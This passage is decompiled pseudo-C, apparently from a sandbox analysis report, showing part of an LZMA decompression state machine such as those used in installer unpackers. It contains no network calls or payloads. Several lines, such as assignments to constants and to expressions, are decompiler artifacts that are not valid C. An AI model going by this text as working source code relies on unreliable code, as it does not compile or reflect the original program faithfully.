												if( *(_t613 - 0x48) < 4) {
													goto L13;
												}
												_t546 =  *(_t613 - 0x40);
												if(_t546 ==  *(_t613 - 0x74)) {
													L20:
													 *(_t613 - 0x48) = 5;
													 *( *(_t613 - 8) +  *(_t613 - 0x74) - 1) =  *( *(_t613 - 8) +  *(_t613 - 0x74) - 1) & 0x00000000;
													goto L23;
												}
												 *(_t613 - 0x74) = _t546;
												if( *(_t613 - 8) != 0) {
													GlobalFree( *(_t613 - 8)); // executed
												}
												_t534 = GlobalAlloc(0x40,  *(_t613 - 0x40)); // executed
												 *(_t613 - 8) = _t534;
												if(_t534 == 0) {
													goto L171;
												} else {
													goto L20;
												}
											case 2:
												L24:
												_t553 =  *(_t613 - 0x60) &  *(_t613 - 0x1c);
												 *(_t613 - 0x84) = 6;
												 *(_t613 - 0x4c) = _t553;
												_t606 =  *(_t613 - 4) + (( *(_t613 - 0x38) << 4) + _t553) * 2;
												L132:
												 *(_t613 - 0x54) = _t606;
												goto L133;
											case 3:
												L21:
												__eflags =  *(_t613 - 0x6c);
												if( *(_t613 - 0x6c) == 0) {
													 *(_t613 - 0x88) = 3;
													goto L170;
												}
												 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
												_t67 = _t613 - 0x70;
												 *_t67 =  &(( *(_t613 - 0x70))[1]);
												__eflags =  *_t67;
												 *(_t613 - 0xc) =  *(_t613 - 0xc) << 0x00000008 |  *( *(_t613 - 0x70)) & 0x000000ff;
												L23:
												 *(_t613 - 0x48) =  *(_t613 - 0x48) - 1;
												if( *(_t613 - 0x48) != 0) {
													goto L21;
												}
												goto L24;
											case 4:
												L133:
												_t531 =  *_t606;
												_t589 = _t531 & 0x0000ffff;
												_t565 = ( *(_t613 - 0x10) >> 0xb) * _t589;
												if( *(_t613 - 0xc) >= _t565) {
													 *(_t613 - 0x10) =  *(_t613 - 0x10) - _t565;
													 *(_t613 - 0xc) =  *(_t613 - 0xc) - _t565;
													 *(_t613 - 0x40) = 1;
													_t532 = _t531 - (_t531 >> 5);
													 *_t606 = _t532;
												} else {
													 *(_t613 - 0x10) = _t565;
													 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
													 *_t606 = (0x800 - _t589 >> 5) + _t531;
												}
												if( *(_t613 - 0x10) >= 0x1000000) {
													goto L139;
												}
											case 5:
												goto L137;
											case 6:
												__edx = 0;
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__eax =  *(__ebp - 4);
													__ecx =  *(__ebp - 0x38);
													 *(__ebp - 0x34) = 1;
													 *(__ebp - 0x84) = 7;
													__esi =  *(__ebp - 4) + 0x180 +  *(__ebp - 0x38) * 2;
													while(1) {
														L132:
														 *(_t613 - 0x54) = _t606;
														goto L133;
													}
												}
												__eax =  *(__ebp - 0x5c) & 0x000000ff;
												__esi =  *(__ebp - 0x60);
												__cl = 8;
												__cl = 8 -  *(__ebp - 0x3c);
												__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
												__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
												__ecx =  *(__ebp - 0x3c);
												__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
												__ecx =  *(__ebp - 4);
												(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
												__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
												__eflags =  *(__ebp - 0x38) - 4;
												__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
												 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
												if( *(__ebp - 0x38) >= 4) {
													__eflags =  *(__ebp - 0x38) - 0xa;
													if( *(__ebp - 0x38) >= 0xa) {
														_t98 = __ebp - 0x38;
														 *_t98 =  *(__ebp - 0x38) - 6;
														__eflags =  *_t98;
													} else {
														 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
													}
												} else {
													 *(__ebp - 0x38) = 0;
												}
												__eflags =  *(__ebp - 0x34) - __edx;
												if( *(__ebp - 0x34) == __edx) {
													__ebx = 0;
													__ebx = 1;
													goto L61;
												} else {
													__eax =  *(__ebp - 0x14);
													__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
													__eflags = __eax -  *(__ebp - 0x74);
													if(__eax >=  *(__ebp - 0x74)) {
														__eax = __eax +  *(__ebp - 0x74);
														__eflags = __eax;
													}
													__ecx =  *(__ebp - 8);
													__ebx = 0;
													__ebx = 1;
													__al =  *((intOrPtr*)(__eax + __ecx));
													 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
													goto L41;
												}
											case 7:
												__eflags =  *(__ebp - 0x40) - 1;
												if( *(__ebp - 0x40) != 1) {
													__eax =  *(__ebp - 0x24);
													 *(__ebp - 0x80) = 0x16;
													 *(__ebp - 0x20) =  *(__ebp - 0x24);
													__eax =  *(__ebp - 0x28);
													 *(__ebp - 0x24) =  *(__ebp - 0x28);
													__eax =  *(__ebp - 0x2c);
													 *(__ebp - 0x28) =  *(__ebp - 0x2c);
													__eax = 0;
													__eflags =  *(__ebp - 0x38) - 7;
													0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
													__al = __al & 0x000000fd;
													__eax = (__eflags >= 0) - 1 + 0xa;
													 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xa;
													__eax =  *(__ebp - 4);
													__eax =  *(__ebp - 4) + 0x664;
													__eflags = __eax;
													 *(__ebp - 0x58) = __eax;
													goto L69;
												}
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x84) = 8;
												__esi =  *(__ebp - 4) + 0x198 +  *(__ebp - 0x38) * 2;
												while(1) {
													L132:
													 *(_t613 - 0x54) = _t606;
													goto L133;
												}
											case 8:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__eax =  *(__ebp - 4);
													__ecx =  *(__ebp - 0x38);
													 *(__ebp - 0x84) = 0xa;
													__esi =  *(__ebp - 4) + 0x1b0 +  *(__ebp - 0x38) * 2;
												} else {
													__eax =  *(__ebp - 0x38);
													__ecx =  *(__ebp - 4);
													__eax =  *(__ebp - 0x38) + 0xf;
													 *(__ebp - 0x84) = 9;
													 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
													__esi =  *(__ebp - 4) + (( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c)) * 2;
												}
												while(1) {
													L132:
													 *(_t613 - 0x54) = _t606;
													goto L133;
												}
											case 9:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													goto L89;
												}
												__eflags =  *(__ebp - 0x60);
												if( *(__ebp - 0x60) == 0) {
													goto L171;
												}
												__eax = 0;
												__eflags =  *(__ebp - 0x38) - 7;
												_t259 =  *(__ebp - 0x38) - 7 >= 0;
												__eflags = _t259;
												0 | _t259 = _t259 + _t259 + 9;
												 *(__ebp - 0x38) = _t259 + _t259 + 9;
												goto L76;
											case 0xa:
												goto L0;
											case 0xb:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__ecx =  *(__ebp - 0x24);
													__eax =  *(__ebp - 0x20);
													 *(__ebp - 0x20) =  *(__ebp - 0x24);
												} else {
													__eax =  *(__ebp - 0x24);
												}
												__ecx =  *(__ebp - 0x28);
												 *(__ebp - 0x24) =  *(__ebp - 0x28);
												goto L88;
											case 0xc:
												L99:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0xc;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t334 = __ebp - 0x70;
												 *_t334 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t334;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												__eax =  *(__ebp - 0x2c);
												goto L101;
											case 0xd:
												L37:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0xd;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t122 = __ebp - 0x70;
												 *_t122 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t122;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												L39:
												__eax =  *(__ebp - 0x40);
												__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
												if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
													goto L48;
												}
												__eflags = __ebx - 0x100;
												if(__ebx >= 0x100) {
													goto L54;
												}
												L41:
												__eax =  *(__ebp - 0x5b) & 0x000000ff;
												 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
												__ecx =  *(__ebp - 0x58);
												__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
												 *(__ebp - 0x48) = __eax;
												__eax = __eax + 1;
												__eax = __eax << 8;
												__eax = __eax + __ebx;
												__esi =  *(__ebp - 0x58) + __eax * 2;
												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
												__ax =  *__esi;
												 *(__ebp - 0x54) = __esi;
												__edx = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													 *(__ebp - 0x40) = 1;
													__cx = __ax >> 5;
													__eflags = __eax;
													__ebx = __ebx + __ebx + 1;
													 *__esi = __ax;
												} else {
													 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edx;
													0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
													__ebx = __ebx + __ebx;
													 *__esi = __cx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0x10) >= 0x1000000) {
													goto L39;
												} else {
													goto L37;
												}
											case 0xe:
												L46:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0xe;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t156 = __ebp - 0x70;
												 *_t156 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t156;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												while(1) {
													L48:
													__eflags = __ebx - 0x100;
													if(__ebx >= 0x100) {
														break;
													}
													__eax =  *(__ebp - 0x58);
													__edx = __ebx + __ebx;
													__ecx =  *(__ebp - 0x10);
													__esi = __edx + __eax;
													__ecx =  *(__ebp - 0x10) >> 0xb;
													__ax =  *__esi;
													 *(__ebp - 0x54) = __esi;
													__edi = __ax & 0x0000ffff;
													__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
													__eflags =  *(__ebp - 0xc) - __ecx;
													if( *(__ebp - 0xc) >= __ecx) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
														 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
														__cx = __ax;
														_t170 = __edx + 1; // 0x1
														__ebx = _t170;
														__cx = __ax >> 5;
														__eflags = __eax;
														 *__esi = __ax;
													} else {
														 *(__ebp - 0x10) = __ecx;
														0x800 = 0x800 - __edi;
														0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
														__ebx = __ebx + __ebx;
														 *__esi = __cx;
													}
													__eflags =  *(__ebp - 0x10) - 0x1000000;
													 *(__ebp - 0x44) = __ebx;
													if( *(__ebp - 0x10) >= 0x1000000) {
														continue;
													} else {
														goto L46;
													}
												}
												L54:
												_t173 = __ebp - 0x34;
												 *_t173 =  *(__ebp - 0x34) & 0x00000000;
												__eflags =  *_t173;
												goto L55;
											case 0xf:
												L58:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0xf;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t203 = __ebp - 0x70;
												 *_t203 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t203;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												L60:
												__eflags = __ebx - 0x100;
												if(__ebx >= 0x100) {
													L55:
													__al =  *(__ebp - 0x44);
													 *(__ebp - 0x5c) =  *(__ebp - 0x44);
													goto L56;
												}
												L61:
												__eax =  *(__ebp - 0x58);
												__edx = __ebx + __ebx;
												__ecx =  *(__ebp - 0x10);
												__esi = __edx + __eax;
												__ecx =  *(__ebp - 0x10) >> 0xb;
												__ax =  *__esi;
												 *(__ebp - 0x54) = __esi;
												__edi = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													_t217 = __edx + 1; // 0x1
													__ebx = _t217;
													__cx = __ax >> 5;
													__eflags = __eax;
													 *__esi = __ax;
												} else {
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edi;
													0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
													__ebx = __ebx + __ebx;
													 *__esi = __cx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0x10) >= 0x1000000) {
													goto L60;
												} else {
													goto L58;
												}
											case 0x10:
												L109:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0x10;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t365 = __ebp - 0x70;
												 *_t365 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t365;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												goto L111;
											case 0x11:
												goto L69;
											case 0x12:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__eax =  *(__ebp - 0x58);
													 *(__ebp - 0x84) = 0x13;
													__esi =  *(__ebp - 0x58) + 2;
													while(1) {
														L132:
														 *(_t613 - 0x54) = _t606;
														goto L133;
													}
												}
												__eax =  *(__ebp - 0x4c);
												 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
												__ecx =  *(__ebp - 0x58);
												__eax =  *(__ebp - 0x4c) << 4;
												__eflags = __eax;
												__eax =  *(__ebp - 0x58) + __eax + 4;
												goto L130;
											case 0x13:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													_t469 = __ebp - 0x58;
													 *_t469 =  *(__ebp - 0x58) + 0x204;
													__eflags =  *_t469;
													 *(__ebp - 0x30) = 0x10;
													 *(__ebp - 0x40) = 8;
													L144:
													 *(__ebp - 0x7c) = 0x14;
													goto L145;
												}
												__eax =  *(__ebp - 0x4c);
												__ecx =  *(__ebp - 0x58);
												__eax =  *(__ebp - 0x4c) << 4;
												 *(__ebp - 0x30) = 8;
												__eax =  *(__ebp - 0x58) + ( *(__ebp - 0x4c) << 4) + 0x104;
												L130:
												 *(__ebp - 0x58) = __eax;
												 *(__ebp - 0x40) = 3;
												goto L144;
											case 0x14:
												 *(__ebp - 0x30) =  *(__ebp - 0x30) + __ebx;
												__eax =  *(__ebp - 0x80);
												 *(_t613 - 0x88) = _t533;
												goto L1;
											case 0x15:
												__eax = 0;
												__eflags =  *(__ebp - 0x38) - 7;
												0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
												__al = __al & 0x000000fd;
												__eax = (__eflags >= 0) - 1 + 0xb;
												 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xb;
												goto L120;
											case 0x16:
												__eax =  *(__ebp - 0x30);
												__eflags = __eax - 4;
												if(__eax >= 4) {
													_push(3);
													_pop(__eax);
												}
												__ecx =  *(__ebp - 4);
												 *(__ebp - 0x40) = 6;
												__eax = __eax << 7;
												 *(__ebp - 0x7c) = 0x19;
												 *(__ebp - 0x58) = __eax;
												goto L145;
											case 0x17:
												L145:
												__eax =  *(__ebp - 0x40);
												 *(__ebp - 0x50) = 1;
												 *(__ebp - 0x48) =  *(__ebp - 0x40);
												goto L149;
											case 0x18:
												L146:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0x18;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t484 = __ebp - 0x70;
												 *_t484 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t484;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												L148:
												_t487 = __ebp - 0x48;
												 *_t487 =  *(__ebp - 0x48) - 1;
												__eflags =  *_t487;
												L149:
												__eflags =  *(__ebp - 0x48);
												if( *(__ebp - 0x48) <= 0) {
													__ecx =  *(__ebp - 0x40);
													__ebx =  *(__ebp - 0x50);
													0 = 1;
													__eax = 1 << __cl;
													__ebx =  *(__ebp - 0x50) - (1 << __cl);
													__eax =  *(__ebp - 0x7c);
													 *(__ebp - 0x44) = __ebx;
													while(1) {
														 *(_t613 - 0x88) = _t533;
														goto L1;
													}
												}
												__eax =  *(__ebp - 0x50);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
												__edx =  *(__ebp - 0x50) +  *(__ebp - 0x50);
												__eax =  *(__ebp - 0x58);
												__esi = __edx + __eax;
												 *(__ebp - 0x54) = __esi;
												__ax =  *__esi;
												__edi = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													__cx = __ax >> 5;
													__eax = __eax - __ecx;
													__edx = __edx + 1;
													__eflags = __edx;
													 *__esi = __ax;
													 *(__ebp - 0x50) = __edx;
												} else {
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edi;
													0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
													 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
													 *__esi = __cx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												if( *(__ebp - 0x10) >= 0x1000000) {
													goto L148;
												} else {
													goto L146;
												}
											case 0x19:
												__eflags = __ebx - 4;
												if(__ebx < 4) {
													 *(__ebp - 0x2c) = __ebx;
													L119:
													_t393 = __ebp - 0x2c;
													 *_t393 =  *(__ebp - 0x2c) + 1;
													__eflags =  *_t393;
													L120:
													__eax =  *(__ebp - 0x2c);
													__eflags = __eax;
													if(__eax == 0) {
														 *(__ebp - 0x30) =  *(__ebp - 0x30) | 0xffffffff;
														goto L170;
													}
													__eflags = __eax -  *(__ebp - 0x60);
													if(__eax >  *(__ebp - 0x60)) {
														goto L171;
													}
													 *(__ebp - 0x30) =  *(__ebp - 0x30) + 2;
													__eax =  *(__ebp - 0x30);
													_t400 = __ebp - 0x60;
													 *_t400 =  *(__ebp - 0x60) +  *(__ebp - 0x30);
													__eflags =  *_t400;
													goto L123;
												}
												__ecx = __ebx;
												__eax = __ebx;
												__ecx = __ebx >> 1;
												__eax = __ebx & 0x00000001;
												__ecx = (__ebx >> 1) - 1;
												__al = __al | 0x00000002;
												__eax = (__ebx & 0x00000001) << __cl;
												__eflags = __ebx - 0xe;
												 *(__ebp - 0x2c) = __eax;
												if(__ebx >= 0xe) {
													__ebx = 0;
													 *(__ebp - 0x48) = __ecx;
													L102:
													__eflags =  *(__ebp - 0x48);
													if( *(__ebp - 0x48) <= 0) {
														__eax = __eax + __ebx;
														 *(__ebp - 0x40) = 4;
														 *(__ebp - 0x2c) = __eax;
														__eax =  *(__ebp - 4);
														__eax =  *(__ebp - 4) + 0x644;
														__eflags = __eax;
														L108:
														__ebx = 0;
														 *(__ebp - 0x58) = __eax;
														 *(__ebp - 0x50) = 1;
														 *(__ebp - 0x44) = 0;
														 *(__ebp - 0x48) = 0;
														L112:
														__eax =  *(__ebp - 0x40);
														__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
														if( *(__ebp - 0x48) >=  *(__ebp - 0x40)) {
															_t391 = __ebp - 0x2c;
															 *_t391 =  *(__ebp - 0x2c) + __ebx;
															__eflags =  *_t391;
															goto L119;
														}
														__eax =  *(__ebp - 0x50);
														 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
														__edi =  *(__ebp - 0x50) +  *(__ebp - 0x50);
														__eax =  *(__ebp - 0x58);
														__esi = __edi + __eax;
														 *(__ebp - 0x54) = __esi;
														__ax =  *__esi;
														__ecx = __ax & 0x0000ffff;
														__edx = ( *(__ebp - 0x10) >> 0xb) * __ecx;
														__eflags =  *(__ebp - 0xc) - __edx;
														if( *(__ebp - 0xc) >= __edx) {
															__ecx = 0;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) - __edx;
															__ecx = 1;
															 *(__ebp - 0xc) =  *(__ebp - 0xc) - __edx;
															__ebx = 1;
															__ecx =  *(__ebp - 0x48);
															__ebx = 1 << __cl;
															__ecx = 1 << __cl;
															__ebx =  *(__ebp - 0x44);
															__ebx =  *(__ebp - 0x44) | __ecx;
															__cx = __ax;
															__cx = __ax >> 5;
															__eax = __eax - __ecx;
															__edi = __edi + 1;
															__eflags = __edi;
															 *(__ebp - 0x44) = __ebx;
															 *__esi = __ax;
															 *(__ebp - 0x50) = __edi;
														} else {
															 *(__ebp - 0x10) = __edx;
															0x800 = 0x800 - __ecx;
															0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
															 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
															 *__esi = __dx;
														}
														__eflags =  *(__ebp - 0x10) - 0x1000000;
														if( *(__ebp - 0x10) >= 0x1000000) {
															L111:
															_t368 = __ebp - 0x48;
															 *_t368 =  *(__ebp - 0x48) + 1;
															__eflags =  *_t368;
															goto L112;
														} else {
															goto L109;
														}
													}
													__ecx =  *(__ebp - 0xc);
													__ebx = __ebx + __ebx;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
													__eflags =  *(__ebp - 0xc) -  *(__ebp - 0x10);
													 *(__ebp - 0x44) = __ebx;
													if( *(__ebp - 0xc) >=  *(__ebp - 0x10)) {
														__ecx =  *(__ebp - 0x10);
														 *(__ebp - 0xc) =  *(__ebp - 0xc) -  *(__ebp - 0x10);
														__ebx = __ebx | 0x00000001;
														__eflags = __ebx;
														 *(__ebp - 0x44) = __ebx;
													}
													__eflags =  *(__ebp - 0x10) - 0x1000000;
													if( *(__ebp - 0x10) >= 0x1000000) {
														L101:
														_t338 = __ebp - 0x48;
														 *_t338 =  *(__ebp - 0x48) - 1;
														__eflags =  *_t338;
														goto L102;
													} else {
														goto L99;
													}
												}
												__edx =  *(__ebp - 4);
												__eax = __eax - __ebx;
												 *(__ebp - 0x40) = __ecx;
												__eax =  *(__ebp - 4) + 0x55e + __eax * 2;
												goto L108;
											case 0x1a:
												L56:
												__eflags =  *(__ebp - 0x64);
												if( *(__ebp - 0x64) == 0) {
													 *(__ebp - 0x88) = 0x1a;
													goto L170;
												}
												__ecx =  *(__ebp - 0x68);
												__al =  *(__ebp - 0x5c);
												__edx =  *(__ebp - 8);
												 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
												 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
												 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
												 *( *(__ebp - 0x68)) = __al;
												__ecx =  *(__ebp - 0x14);
												 *(__ecx +  *(__ebp - 8)) = __al;
												__eax = __ecx + 1;
												__edx = 0;
												_t192 = __eax %  *(__ebp - 0x74);
												__eax = __eax /  *(__ebp - 0x74);
												__edx = _t192;
												goto L80;
											case 0x1b:
												L76:
												__eflags =  *(__ebp - 0x64);
												if( *(__ebp - 0x64) == 0) {
													 *(__ebp - 0x88) = 0x1b;
													goto L170;
												}
												__eax =  *(__ebp - 0x14);
												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
												__eflags = __eax -  *(__ebp - 0x74);
												if(__eax >=  *(__ebp - 0x74)) {
													__eax = __eax +  *(__ebp - 0x74);
													__eflags = __eax;
												}
												__edx =  *(__ebp - 8);
												__cl =  *(__eax + __edx);
												__eax =  *(__ebp - 0x14);
												 *(__ebp - 0x5c) = __cl;
												 *(__eax + __edx) = __cl;
												__eax = __eax + 1;
												__edx = 0;
												_t275 = __eax %  *(__ebp - 0x74);
												__eax = __eax /  *(__ebp - 0x74);
												__edx = _t275;
												__eax =  *(__ebp - 0x68);
												 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
												 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
												_t284 = __ebp - 0x64;
												 *_t284 =  *(__ebp - 0x64) - 1;
												__eflags =  *_t284;
												 *( *(__ebp - 0x68)) = __cl;
												L80:
												 *(__ebp - 0x14) = __edx;
												goto L81;
											case 0x1c:
												while(1) {
													L123:
													__eflags =  *(__ebp - 0x64);
													if( *(__ebp - 0x64) == 0) {
														break;
													}
													__eax =  *(__ebp - 0x14);
													__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
													__eflags = __eax -  *(__ebp - 0x74);
													if(__eax >=  *(__ebp - 0x74)) {
														__eax = __eax +  *(__ebp - 0x74);
														__eflags = __eax;
													}
													__edx =  *(__ebp - 8);
													__cl =  *(__eax + __edx);
													__eax =  *(__ebp - 0x14);
													 *(__ebp - 0x5c) = __cl;
													 *(__eax + __edx) = __cl;
													__eax = __eax + 1;
													__edx = 0;
													_t414 = __eax %  *(__ebp - 0x74);
													__eax = __eax /  *(__ebp - 0x74);
													__edx = _t414;
													__eax =  *(__ebp - 0x68);
													 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
